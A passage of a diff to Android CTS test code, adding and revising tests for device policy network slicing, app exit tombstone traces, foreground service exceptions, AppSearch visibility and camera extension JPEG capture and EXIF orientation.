--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -41,6 +41,8 @@
 import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.io.ByteArrayInputStream;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateException;
@@ -114,6 +116,34 @@
         assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
     }
 
+    public void testSetGetNetworkSlicingEnabled() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping SetGetNetworkSlicingEnabled");
+            return;
+        }
+
+
+        try {
+            mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
+            assertThrows(SecurityException.class,
+                    () -> mDevicePolicyManager.setNetworkSlicingEnabled(true));
+
+            assertThrows(SecurityException.class,
+                    () -> mDevicePolicyManager.isNetworkSlicingEnabled());
+
+            assertThrows(SecurityException.class,
+                    () -> mDevicePolicyManager.isNetworkSlicingEnabledForUser(
+                            Process.myUserHandle()));
+        }  catch (SecurityException se) {
+            Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+        } finally {
+            SystemUtil.runShellCommand(
+                  "dpm set-profile-owner --user cur "
+                          + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+        }
+
+    }
+
     public void testKeyguardDisabledFeatures() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testKeyguardDisabledFeatures");
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 25cc5ae..5332191 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -134,11 +134,14 @@
         "compatibility-device-util-axt",
         "CtsExternalServiceCommon",
         "cts-wm-util",
+        "libprotobuf-java-lite",
     ],
     srcs: [
+        ":libtombstone_proto-src",
         "AppExitTest/src/**/*.java",
         "src/android/app/cts/android/app/cts/tools/WatchUidRunner.java",
     ],
+    jarjar_rules: "AppExitTest/jarjar-rules.txt",
     test_suites: [
         "cts",
         "general-tests",
diff --git a/tests/app/AppExitTest/jarjar-rules.txt b/tests/app/AppExitTest/jarjar-rules.txt
new file mode 100644
index 0000000..88da88e
--- /dev/null
+++ b/tests/app/AppExitTest/jarjar-rules.txt
@@ -0,0 +1 @@
+rule com.android.server.os.** android.app.cts.appexit.@1
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index fe194f2..77973bb 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -59,9 +59,11 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.internal.util.ArrayUtils;
 import com.android.internal.util.MemInfoReader;
+import com.android.server.os.TombstoneProtos.Tombstone;
 
 import java.io.BufferedInputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -832,6 +834,21 @@
         assertTrue(list != null && list.size() == 1);
         verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
                 ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2);
+
+        InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                list.get(0),
+                (i) -> {
+                    try {
+                        return i.getTraceInputStream();
+                    } catch (IOException ex) {
+                        return null;
+                    }
+                },
+                android.Manifest.permission.DUMP);
+
+        assertNotNull(trace);
+        Tombstone tombstone = Tombstone.parseFrom(trace);
+        assertEquals(tombstone.getPid(), mStubPackagePid);
     }
 
     public void testUserRequested() throws Exception {
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 6dcd647..958fe45 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -30,6 +30,7 @@
 import android.accessibilityservice.AccessibilityService;
 import android.app.ActivityManager;
 import android.app.BroadcastOptions;
+import android.app.ForegroundServiceStartNotAllowedException;
 import android.app.Instrumentation;
 import android.app.cts.android.app.cts.tools.WaitForBroadcast;
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
@@ -1002,18 +1003,18 @@
 
     // At Context.startForegroundService() or Service.startForeground() calls, if the FGS is
     // restricted by background restriction and the app's targetSdkVersion is at least S, the
-    // framework throws a IllegalStateException with error message.
+    // framework throws a ForegroundServiceStartNotAllowedException with error message.
     @Test
     @Ignore("The instrumentation is allowed to star FGS, it does not throw the exception")
     public void testFgsStartFromBGException() throws Exception {
-        IllegalStateException expectedException = null;
+        ForegroundServiceStartNotAllowedException expectedException = null;
         final Intent intent = new Intent().setClassName(
                 PACKAGE_NAME_APP1, "android.app.stubs.LocalForegroundService");
         try {
             allowBgActivityStart("android.app.stubs", false);
             enableFgsRestriction(true, true, null);
             mContext.startForegroundService(intent);
-        } catch (IllegalStateException e) {
+        } catch (ForegroundServiceStartNotAllowedException e) {
             expectedException = e;
         } finally {
             mContext.stopService(intent);
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
index 90a74f8..b6bb7c6 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
@@ -24,11 +24,10 @@
 
 import com.google.common.util.concurrent.ListenableFuture;
 
-import org.junit.Ignore;
 
-@Ignore("TODO(b/177266929): Enable this test once schema migration is implemented")
-public class AppSearchSchemaMigrationCtsTest extends AppSearchSchemaMigrationCtsTestBase {
-    @Override
+// TODO(b/177266929): Enable this test once schema migration is implemented
+public class AppSearchSchemaMigrationCtsTest /* extends AppSearchSchemaMigrationCtsTestBase */ {
+    // @Override
     protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
         return AppSearchSessionShimImpl.createSearchSession(
                 new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
index c5f83c3..49c5446 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
@@ -31,6 +31,7 @@
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.os.IBinder;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -53,6 +54,7 @@
  * This doesn't extend the {@link android.app.appsearch.cts.GlobalSearchSessionCtsTestBase} since
  * these test cases can't be run in a non-platform environment.
  */
+@AppModeFull(reason = "Can't bind to helper apps from instant mode")
 public class GlobalSearchSessionPlatformCtsTest {
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
@@ -147,14 +149,14 @@
     @Test
     public void testNoPackageAccess_wrongPackageName() throws Exception {
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ true,
-                                new PackageIdentifier(
-                                        "some.other.package", PKG_A_CERT_SHA256))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(
+                                                "some.other.package", PKG_A_CERT_SHA256))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
@@ -168,13 +170,13 @@
     @Test
     public void testNoPackageAccess_wrongCertificate() throws Exception {
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ true,
-                                new PackageIdentifier(PKG_A, new byte[] {10}))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, new byte[] {10}))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
@@ -188,13 +190,13 @@
     @Test
     public void testAllowPackageAccess() throws Exception {
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ true,
-                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
@@ -209,17 +211,17 @@
     @Test
     public void testAllowMultiplePackageAccess() throws Exception {
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ true,
-                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ true,
-                                new PackageIdentifier(PKG_B, PKG_B_CERT_SHA256))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_B, PKG_B_CERT_SHA256))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
@@ -234,13 +236,13 @@
     @Test
     public void testNoPackageAccess_revoked() throws Exception {
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ true,
-                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
@@ -251,13 +253,13 @@
 
         // Set the schema again, but package access as false.
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ false,
-                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ false,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
@@ -268,13 +270,13 @@
 
         // Set the schema again, but with default (i.e. no) access
         mDb.setSchema(
-                new SetSchemaRequest.Builder()
-                        .addSchemas(AppSearchEmail.SCHEMA)
-                        .setSchemaTypeVisibilityForPackage(
-                                AppSearchEmail.SCHEMA_TYPE,
-                                /*visible=*/ false,
-                                new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
-                        .build())
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ false,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
                 .get();
         checkIsBatchResultSuccess(
                 mDb.put(
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 5dd248c..0cff3d2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -131,6 +131,7 @@
         MultiWindowEmptyActivity.expectNewInstance(true);
 
         splitWindow(mActivity);
+        mUiBot.waitForIdleSync();
         MultiWindowLoginActivity loginActivity = MultiWindowLoginActivity.waitNewInstance();
 
         amStartActivity(MultiWindowEmptyActivity.class);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
index 4b68250..4c778a4 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
@@ -91,6 +91,26 @@
         }
     }
 
+    private void verifySupportedSizes(CameraExtensionCharacteristics chars, String cameraId,
+            Integer extension, int format) throws Exception {
+        List<Size> extensionSizes = chars.getExtensionSupportedSizes(extension, format);
+        assertFalse(String.format("No available sizes for extension %d on camera id: %s " +
+                "using format: %x", extension, cameraId, format), extensionSizes.isEmpty());
+        try {
+            openDevice(cameraId);
+            List<Size> cameraSizes = Arrays.asList(
+                    mTestRule.getStaticInfo().getAvailableSizesForFormatChecked(format,
+                            StaticMetadata.StreamDirection.Output));
+            for (Size extensionSize : extensionSizes) {
+                assertTrue(String.format("Supported extension %d on camera id: %s advertises " +
+                                " resolution %s unsupported by camera", extension, cameraId,
+                        extensionSize), cameraSizes.contains(extensionSize));
+            }
+        } finally {
+            mTestRule.closeDevice(cameraId);
+        }
+    }
+
     private <T> void verifyUnsupportedExtension(CameraExtensionCharacteristics chars,
             Integer extension, Class<T> klass) {
         try {
@@ -138,6 +158,7 @@
             List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
             for (Integer extension : supportedExtensions) {
                 verifySupportedSizes(extensionChars, id, extension, SurfaceTexture.class);
+                verifySupportedSizes(extensionChars, id, extension, ImageFormat.JPEG);
             }
         }
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
index ae0f5d8..fc1bd8d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -16,7 +16,6 @@
 
 package android.hardware.camera2.cts;
 
-import static org.junit.Assert.fail;
 import static org.mockito.Matchers.any;
 import static org.mockito.Matchers.anyInt;
 import static org.mockito.Matchers.anyLong;
@@ -38,11 +37,14 @@
 import android.hardware.camera2.CameraExtensionCharacteristics;
 import android.hardware.camera2.CameraExtensionSession;
 import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.cts.helpers.CameraErrorCollector;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
 import android.hardware.camera2.params.ExtensionSessionConfiguration;
 import android.hardware.camera2.params.OutputConfiguration;
 import android.hardware.camera2.params.SessionConfiguration;
+import android.media.ExifInterface;
 import android.media.Image;
 import android.media.ImageReader;
 import android.util.Size;
@@ -61,6 +63,7 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.stream.Collectors;
@@ -467,6 +470,10 @@
     @Test
     public void testMultiFrameCapture() throws Exception {
         final int IMAGE_COUNT = 10;
+        final int SUPPORTED_CAPTURE_OUTPUT_FORMATS[] = {
+                ImageFormat.YUV_420_888,
+                ImageFormat.JPEG
+        };
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
@@ -478,85 +485,94 @@
                     mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
             List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
             for (Integer extension : supportedExtensions) {
-                int captureFormat = ImageFormat.YUV_420_888;
-                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
-                        captureFormat);
-                if (extensionSizes.isEmpty()) {
-                    captureFormat = ImageFormat.JPEG;
-                    extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                for (int captureFormat : SUPPORTED_CAPTURE_OUTPUT_FORMATS) {
+                    List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
                             captureFormat);
-                }
-                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
-                SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false, 1);
-                ImageReader extensionImageReader = CameraTestUtils.makeImageReader(maxSize,
-                        captureFormat, /*maxImages*/ 1, imageListener,
-                        mTestRule.getHandler());
-                Surface imageReaderSurface = extensionImageReader.getSurface();
-                OutputConfiguration readerOutput = new OutputConfiguration(
-                        OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
-                List<OutputConfiguration> outputConfigs = new ArrayList<>();
-                outputConfigs.add(readerOutput);
-
-                BlockingExtensionSessionCallback sessionListener =
-                        new BlockingExtensionSessionCallback(mock(
-                                CameraExtensionSession.StateCallback.class));
-                ExtensionSessionConfiguration configuration =
-                        new ExtensionSessionConfiguration(extension, outputConfigs,
-                                new HandlerExecutor(mTestRule.getHandler()),
-                                sessionListener);
-
-                try {
-                    mTestRule.openDevice(id);
-                    CameraDevice camera = mTestRule.getCamera();
-                    camera.createExtensionSession(configuration);
-                    CameraExtensionSession extensionSession =
-                            sessionListener.waitAndGetSession(
-                                    SESSION_CONFIGURE_TIMEOUT_MS);
-                    assertNotNull(extensionSession);
-
-                    CaptureRequest.Builder captureBuilder =
-                            mTestRule.getCamera().createCaptureRequest(
-                                    android.hardware.camera2.CameraDevice.TEMPLATE_STILL_CAPTURE);
-                    captureBuilder.addTarget(imageReaderSurface);
-                    CameraExtensionSession.ExtensionCaptureCallback captureCallback =
-                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
-
-                    for (int i = 0; i < IMAGE_COUNT; i++) {
-                        CaptureRequest request = captureBuilder.build();
-                        int sequenceId = extensionSession.capture(request,
-                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
-
-                        Image img =
-                                imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
-                        validateImage(img, maxSize.getWidth(), maxSize.getHeight(),
-                                captureFormat, null);
-                        img.close();
-
-                        verify(captureCallback, times(1))
-                                .onCaptureStarted(eq(extensionSession), eq(request), anyLong());
-                        verify(captureCallback,
-                                timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
-                                .onCaptureProcessStarted(extensionSession, request);
-                        verify(captureCallback,
-                                timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
-                                .onCaptureSequenceCompleted(extensionSession, sequenceId);
+                    if (extensionSizes.isEmpty()) {
+                        continue;
                     }
+                    Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                    SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false,
+                            1);
+                    ImageReader extensionImageReader = CameraTestUtils.makeImageReader(maxSize,
+                            captureFormat, /*maxImages*/ 1, imageListener,
+                            mTestRule.getHandler());
+                    Surface imageReaderSurface = extensionImageReader.getSurface();
+                    OutputConfiguration readerOutput = new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                    List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                    outputConfigs.add(readerOutput);
 
-                    verify(captureCallback, times(0))
-                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
-                                    anyInt());
-                    verify(captureCallback, times(0))
-                            .onCaptureFailed(any(CameraExtensionSession.class),
-                                    any(CaptureRequest.class));
+                    BlockingExtensionSessionCallback sessionListener =
+                            new BlockingExtensionSessionCallback(mock(
+                                    CameraExtensionSession.StateCallback.class));
+                    ExtensionSessionConfiguration configuration =
+                            new ExtensionSessionConfiguration(extension, outputConfigs,
+                                    new HandlerExecutor(mTestRule.getHandler()),
+                                    sessionListener);
 
-                    extensionSession.close();
+                    try {
+                        mTestRule.openDevice(id);
+                        CameraDevice camera = mTestRule.getCamera();
+                        camera.createExtensionSession(configuration);
+                        CameraExtensionSession extensionSession =
+                                sessionListener.waitAndGetSession(
+                                        SESSION_CONFIGURE_TIMEOUT_MS);
+                        assertNotNull(extensionSession);
 
-                    sessionListener.getStateWaiter().waitForState(
-                            BlockingExtensionSessionCallback.SESSION_CLOSED,
-                            SESSION_CLOSE_TIMEOUT_MS);
-                } finally {
-                    mTestRule.closeDevice(id);
-                    extensionImageReader.close();
+                        CaptureRequest.Builder captureBuilder =
+                                mTestRule.getCamera().createCaptureRequest(
+                                        CameraDevice.TEMPLATE_STILL_CAPTURE);
+                        captureBuilder.addTarget(imageReaderSurface);
+                        CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                                mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                        for (int i = 0; i < IMAGE_COUNT; i++) {
+                            int jpegOrientation = (i * 90) % 360; // degrees [0..270]
+                            if (captureFormat == ImageFormat.JPEG) {
+                                captureBuilder.set(CaptureRequest.JPEG_ORIENTATION,
+                                        jpegOrientation);
+                            }
+                            CaptureRequest request = captureBuilder.build();
+                            int sequenceId = extensionSession.capture(request,
+                                    new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+
+                            Image img =
+                                    imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
+                            if (captureFormat == ImageFormat.JPEG) {
+                                verifyJpegOrientation(img, maxSize, jpegOrientation);
+                            } else {
+                                validateImage(img, maxSize.getWidth(), maxSize.getHeight(),
+                                        captureFormat, null);
+                            }
+                            img.close();
+
+                            verify(captureCallback, times(1))
+                                    .onCaptureStarted(eq(extensionSession), eq(request), anyLong());
+                            verify(captureCallback,
+                                    timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                                    .onCaptureProcessStarted(extensionSession, request);
+                            verify(captureCallback,
+                                    timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                                    .onCaptureSequenceCompleted(extensionSession, sequenceId);
+                        }
+
+                        verify(captureCallback, times(0))
+                                .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                        anyInt());
+                        verify(captureCallback, times(0))
+                                .onCaptureFailed(any(CameraExtensionSession.class),
+                                        any(CaptureRequest.class));
+
+                        extensionSession.close();
+
+                        sessionListener.getStateWaiter().waitForState(
+                                BlockingExtensionSessionCallback.SESSION_CLOSED,
+                                SESSION_CLOSE_TIMEOUT_MS);
+                    } finally {
+                        mTestRule.closeDevice(id);
+                        extensionImageReader.close();
+                    }
                 }
             }
         }
@@ -577,14 +593,10 @@
                     mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
             List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
             for (Integer extension : supportedExtensions) {
-                int captureFormat = ImageFormat.YUV_420_888;
+                int captureFormat = ImageFormat.JPEG;
                 List<Size> captureSizes = extensionChars.getExtensionSupportedSizes(extension,
                         captureFormat);
-                if (captureSizes.isEmpty()) {
-                    captureFormat = ImageFormat.JPEG;
-                    captureSizes = extensionChars.getExtensionSupportedSizes(extension,
-                            captureFormat);
-                }
+                assertFalse("No Jpeg output supported", captureSizes.isEmpty());
                 Size captureMaxSize =
                         CameraTestUtils.getMaxSize(captureSizes.toArray(new Size[0]));
 
@@ -737,6 +749,62 @@
         }
     }
 
+    private void verifyJpegOrientation(Image img, Size jpegSize, int requestedOrientation)
+            throws IOException {
+        byte[] blobBuffer = getDataFromImage(img);
+        String blobFilename = mTestRule.getDebugFileNameBase() + "/verifyJpegKeys.jpeg";
+        dumpFile(blobFilename, blobBuffer);
+        ExifInterface exif = new ExifInterface(blobFilename);
+        int exifWidth = exif.getAttributeInt(ExifInterface.TAG_IMAGE_WIDTH, /*defaultValue*/0);
+        int exifHeight = exif.getAttributeInt(ExifInterface.TAG_IMAGE_LENGTH, /*defaultValue*/0);
+        Size exifSize = new Size(exifWidth, exifHeight);
+        int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
+                /*defaultValue*/ ExifInterface.ORIENTATION_UNDEFINED);
+        final int ORIENTATION_MIN = ExifInterface.ORIENTATION_UNDEFINED;
+        final int ORIENTATION_MAX = ExifInterface.ORIENTATION_ROTATE_270;
+        assertTrue(String.format("Exif orientation must be in range of [%d, %d]",
+                ORIENTATION_MIN, ORIENTATION_MAX),
+                exifOrientation >= ORIENTATION_MIN && exifOrientation <= ORIENTATION_MAX);
+
+        /**
+         * Device captured image doesn't respect the requested orientation,
+         * which means it rotates the image buffer physically. Then we
+         * should swap the exif width/height accordingly to compare.
+         */
+        boolean deviceRotatedImage = exifOrientation == ExifInterface.ORIENTATION_UNDEFINED;
+
+        if (deviceRotatedImage) {
+            // Case 1.
+            boolean needSwap = (requestedOrientation % 180 == 90);
+            if (needSwap) {
+                exifSize = new Size(exifHeight, exifWidth);
+            }
+        } else {
+            // Case 2.
+            assertEquals("Exif orientation should match requested orientation",
+                    requestedOrientation, getExifOrientationInDegree(exifOrientation));
+        }
+
+        assertEquals("Exif size should match jpeg capture size", jpegSize, exifSize);
+    }
+
+    private static int getExifOrientationInDegree(int exifOrientation) {
+        switch (exifOrientation) {
+            case ExifInterface.ORIENTATION_NORMAL:
+                return 0;
+            case ExifInterface.ORIENTATION_ROTATE_90:
+                return 90;
+            case ExifInterface.ORIENTATION_ROTATE_180:
+                return 180;
+            case ExifInterface.ORIENTATION_ROTATE_270:
+                return 270;
+            default:
+                fail("It is impossible to get non 0, 90, 180, 270 degress exif" +
+                        "info based on the request orientation range");
+                return -1;
+        }
+    }
+
     public static class SimpleCaptureCallback
             extends CameraExtensionSession.ExtensionCaptureCallback {
         private long mLastTimestamp = -1;
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 2e5bcd5..1ad21cc 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -1064,9 +1064,22 @@
         Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
                 StaticMetadata.StreamDirection.Output);
 
+        boolean secureTest = setUsageFlag &&
+                ((usageFlag & HardwareBuffer.USAGE_PROTECTED_CONTENT) != 0);
+        Size secureDataSize = null;
+        if (secureTest) {
+            secureDataSize = mStaticInfo.getCharacteristics().get(
+                    CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE);
+        }
+
         // for each resolution, test imageReader:
         for (Size sz : availableSizes) {
             try {
+                // For secure mode test only test default secure data size if HAL advertises one.
+                if (secureDataSize != null && !secureDataSize.equals(sz)) {
+                    continue;
+                }
+
                 if (VERBOSE) {
                     Log.v(TAG, "Testing size " + sz.toString() + " format " + format
                             + " for camera " + mCamera.getId());
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index a6c477c..14303c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -435,7 +435,13 @@
                 // Tested in ExtendedCameraCharacteristicsTest
                 return;
             case REQUEST_AVAILABLE_CAPABILITIES_SECURE_IMAGE_DATA:
-                // No other restrictions with other metadata keys which  are reliably testable.
+                if (!isCapabilityAvailable) {
+                    mCollector.expectTrue(
+                        "SCALER_DEFAULT_SECURE_IMAGE_SIZE must not present if the device" +
+                                "does not support SECURE_IMAGE_DATA capability",
+                        !mStaticInfo.areKeysAvailable(
+                                CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE));
+                }
                 return;
             default:
                 capabilityName = "Unknown";
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
index 394f346..713d132 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
